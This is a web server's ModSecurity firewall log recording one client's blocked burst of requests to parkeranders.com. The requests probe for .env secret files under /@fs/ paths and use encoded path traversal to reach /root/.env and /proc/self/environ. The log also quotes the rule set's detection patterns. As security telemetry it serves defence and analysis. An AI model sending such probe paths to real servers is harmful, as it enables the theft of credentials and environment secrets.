[Sun Oct 25 22:49:43.666670 2026] [security2:error] [pid 2943111:tid 2943111] [client 34.22.120.18:42142] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.config"] [unique_id "at6_x8PyJ7czCvVZGZzUMgAAAE4"]
[Sun Oct 25 22:49:43.667427 2026] [security2:error] [pid 2943111:tid 2943111] [client 34.22.120.18:42142] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at6_x8PyJ7czCvVZGZzUMgAAAE4"]
[Sun Oct 25 22:49:43.768153 2026] [security2:error] [pid 2948939:tid 2948939] [client 34.22.120.18:57072] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/@fs/src/.env"] [unique_id "at6_x5PSLEKgbCefhOPpsQAAAAs"]
[Sun Oct 25 22:49:43.768740 2026] [security2:error] [pid 2948939:tid 2948939] [client 34.22.120.18:57072] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/@fs/src/.env"] [unique_id "at6_x5PSLEKgbCefhOPpsQAAAAs"]
[Sun Oct 25 22:49:43.769597 2026] [security2:error] [pid 2948939:tid 2948939] [client 34.22.120.18:57072] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at6_x5PSLEKgbCefhOPpsQAAAAs"]
[Sun Oct 25 22:49:43.797156 2026] [security2:error] [pid 2948937:tid 2948937] [client 34.22.120.18:57068] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /@fs/../.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "parkeranders.com"] [uri "/.env"] [unique_id "at6_xz4OcmXMvH8kvuHD7wAAAAk"]
[Sun Oct 25 22:49:43.797254 2026] [security2:error] [pid 2948937:tid 2948937] [client 34.22.120.18:57068] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env"] [unique_id "at6_xz4OcmXMvH8kvuHD7wAAAAk"]
[Sun Oct 25 22:49:43.797749 2026] [security2:error] [pid 2948937:tid 2948937] [client 34.22.120.18:57068] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env"] [unique_id "at6_xz4OcmXMvH8kvuHD7wAAAAk"]
[Sun Oct 25 22:49:43.798547 2026] [security2:error] [pid 2948937:tid 2948937] [client 34.22.120.18:57068] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at6_xz4OcmXMvH8kvuHD7wAAAAk"]
[Sun Oct 25 22:49:43.857544 2026] [security2:error] [pid 2948436:tid 2948436] [client 34.22.120.18:57064] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/@fs/app/.env"] [unique_id "at6_xzXR5ojXz3zGeulJxAAAAAY"]
[Sun Oct 25 22:49:43.858014 2026] [security2:error] [pid 2948436:tid 2948436] [client 34.22.120.18:57064] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/@fs/app/.env"] [unique_id "at6_xzXR5ojXz3zGeulJxAAAAAY"]
[Sun Oct 25 22:49:43.858826 2026] [security2:error] [pid 2948436:tid 2948436] [client 34.22.120.18:57064] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at6_xzXR5ojXz3zGeulJxAAAAAY"]
[Sun Oct 25 22:49:43.963195 2026] [security2:error] [pid 2938926:tid 2938926] [client 34.22.120.18:57076] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /..%252f found within REQUEST_URI_RAW: /@fs/..%252f..%252f..%252f..%252f..%252froot/.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "parkeranders.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at6_x2DNiM07rt0CLXuTYwAAACE"]
[Sun Oct 25 22:49:43.963274 2026] [security2:error] [pid 2938926:tid 2938926] [client 34.22.120.18:57076] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../root/.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "parkeranders.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at6_x2DNiM07rt0CLXuTYwAAACE"]
[Sun Oct 25 22:49:43.963306 2026] [security2:error] [pid 2938926:tid 2938926] [client 34.22.120.18:57076] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../root/.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "parkeranders.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at6_x2DNiM07rt0CLXuTYwAAACE"]
[Sun Oct 25 22:49:43.963370 2026] [security2:error] [pid 2938926:tid 2938926] [client 34.22.120.18:57076] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /root/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at6_x2DNiM07rt0CLXuTYwAAACE"]
[Sun Oct 25 22:49:43.963818 2026] [security2:error] [pid 2938926:tid 2938926] [client 34.22.120.18:57076] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 20)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at6_x2DNiM07rt0CLXuTYwAAACE"]
[Sun Oct 25 22:49:43.964701 2026] [security2:error] [pid 2938926:tid 2938926] [client 34.22.120.18:57076] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 20 - SQLI=0,XSS=0,RFI=0,LFI=20,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at6_x2DNiM07rt0CLXuTYwAAACE"]
[Sun Oct 25 22:49:43.999914 2026] [security2:error] [pid 2948941:tid 2948941] [client 34.22.120.18:57120] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /..%252f found within REQUEST_URI_RAW: /@fs/..%252f..%252f..%252f..%252f..%252fproc/self/environ?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "parkeranders.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at6_x_WB3WObgayOIVDyIAAAAA0"]
[Sun Oct 25 22:49:43.999994 2026] [security2:error] [pid 2948941:tid 2948941] [client 34.22.120.18:57120] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../proc/self/environ?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "parkeranders.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at6_x_WB3WObgayOIVDyIAAAAA0"]
[Sun Oct 25 22:49:44.000026 2026] [security2:error] [pid 2948941:tid 2948941] [client 34.22.120.18:57120] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../proc/self/environ?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "parkeranders.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at6_x_WB3WObgayOIVDyIAAAAA0"]
[Sun Oct 25 22:49:44.000682 2026] [security2:error] [pid 2948941:tid 2948941] [client 34.22.120.18:57120] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at6_x_WB3WObgayOIVDyIAAAAA0"]
[Sun Oct 25 22:49:44.001590 2026] [security2:error] [pid 2948941:tid 2948941] [client 34.22.120.18:57120] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at6_x_WB3WObgayOIVDyIAAAAA0"]
[Sun Oct 25 22:49:44.204144 2026] [security2:error] [pid 2948944:tid 2948944] [client 34.22.120.18:57134] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/@fs/.env"] [unique_id "at6_yPNMVeYWEbMFtSdkNgAAABE"]
[Sun Oct 25 22:49:44.205102 2026] [security2:error] [pid 2948944:tid 2948944] [client 34.22.120.18:57134] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/@fs/.env"] [unique_id "at6_yPNMVeYWEbMFtSdkNgAAABE"]
[Sun Oct 25 22:49:44.206252 2026] [security2:error] [pid 2948944:tid 2948944] [client 34.22.120.18:57134] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at6_yPNMVeYWEbMFtSdkNgAAABE"]
[Sun Oct 25 22:49:44.301792 2026] [security2:error] [pid 2948940:tid 2948940] [client 34.22.120.18:57090] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/@fs/.env"] [unique_id "at6_yIwvsXBdYHLHfBQ53gAAAAw"]
[Sun Oct 25 22:49:44.302503 2026] [security2:error] [pid 2948940:tid 2948940] [client 34.22.120.18:57090] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/@fs/.env"] [unique_id "at6_yIwvsXBdYHLHfBQ53gAAAAw"]
[Sun Oct 25 22:49:44.303333 2026] [security2:error] [pid 2948940:tid 2948940] [client 34.22.120.18:57090] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at6_yIwvsXBdYHLHfBQ53gAAAAw"]
[Sun Oct 25 22:49:44.326159 2026] [security2:error] [pid 2948946:tid 2948946] [client 34.22.120.18:57204] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/var/task/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/@fs/var/task/.env"] [unique_id "at6_yKsJY4crILy0xP7rgQAAABM"]
[Sun Oct 25 22:49:44.326685 2026] [security2:error] [pid 2948946:tid 2948946] [client 34.22.120.18:57204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/@fs/var/task/.env"] [unique_id "at6_yKsJY4crILy0xP7rgQAAABM"]
[Sun Oct 25 22:49:44.327806 2026] [security2:error] [pid 2948946:tid 2948946] [client 34.22.120.18:57204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at6_yKsJY4crILy0xP7rgQAAABM"]
[Sun Oct 25 22:49:44.329499 2026] [security2:error] [pid 2948948:tid 2948948] [client 34.22.120.18:57218] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/@fs/app/.env.local"] [unique_id "at6_yAHSrgPdelgvpzwobgAAABU"]
[Sun Oct 25 22:49:44.330048 2026] [security2:error] [pid 2948948:tid 2948948] [client 34.22.120.18:57218] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/@fs/app/.env.local"] [unique_id "at6_yAHSrgPdelgvpzwobgAAABU"]
[Sun Oct 25 22:49:44.331166 2026] [security2:error] [pid 2948948:tid 2948948] [client 34.22.120.18:57218] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at6_yAHSrgPdelgvpzwobgAAABU"]
[Sun Oct 25 22:49:44.332930 2026] [security2:error] [pid 2948949:tid 2948949] [client 34.22.120.18:57198] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/@fs/.env"] [unique_id "at6_yCndgrgAxCEkXoEF-AAAABg"]
[Sun Oct 25 22:49:44.333500 2026] [security2:error] [pid 2948949:tid 2948949] [client 34.22.120.18:57198] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/@fs/.env"] [unique_id "at6_yCndgrgAxCEkXoEF-AAAABg"]
